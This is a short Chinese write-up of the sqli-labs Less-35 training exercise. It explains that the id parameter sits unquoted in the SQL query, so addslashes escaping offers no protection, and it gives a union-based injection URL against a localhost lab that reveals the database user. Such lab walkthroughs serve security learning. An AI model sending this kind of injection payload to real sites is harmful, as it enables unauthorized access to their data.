35关和33关是大致的一样的，唯一的区别在于sql语句的不同。
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
区别就是id没有被‘ "符号包括起来，那我们就没有必要去考虑check_addslashes()函数的意义了，直接提交payload：
http://127.0.0.1/sqli-labs/Less-35/?id=-1%20%20union%20select%201,user(),3--+
?
?
原文：http://www.cnblogs.com/lcamry/p/5762922.html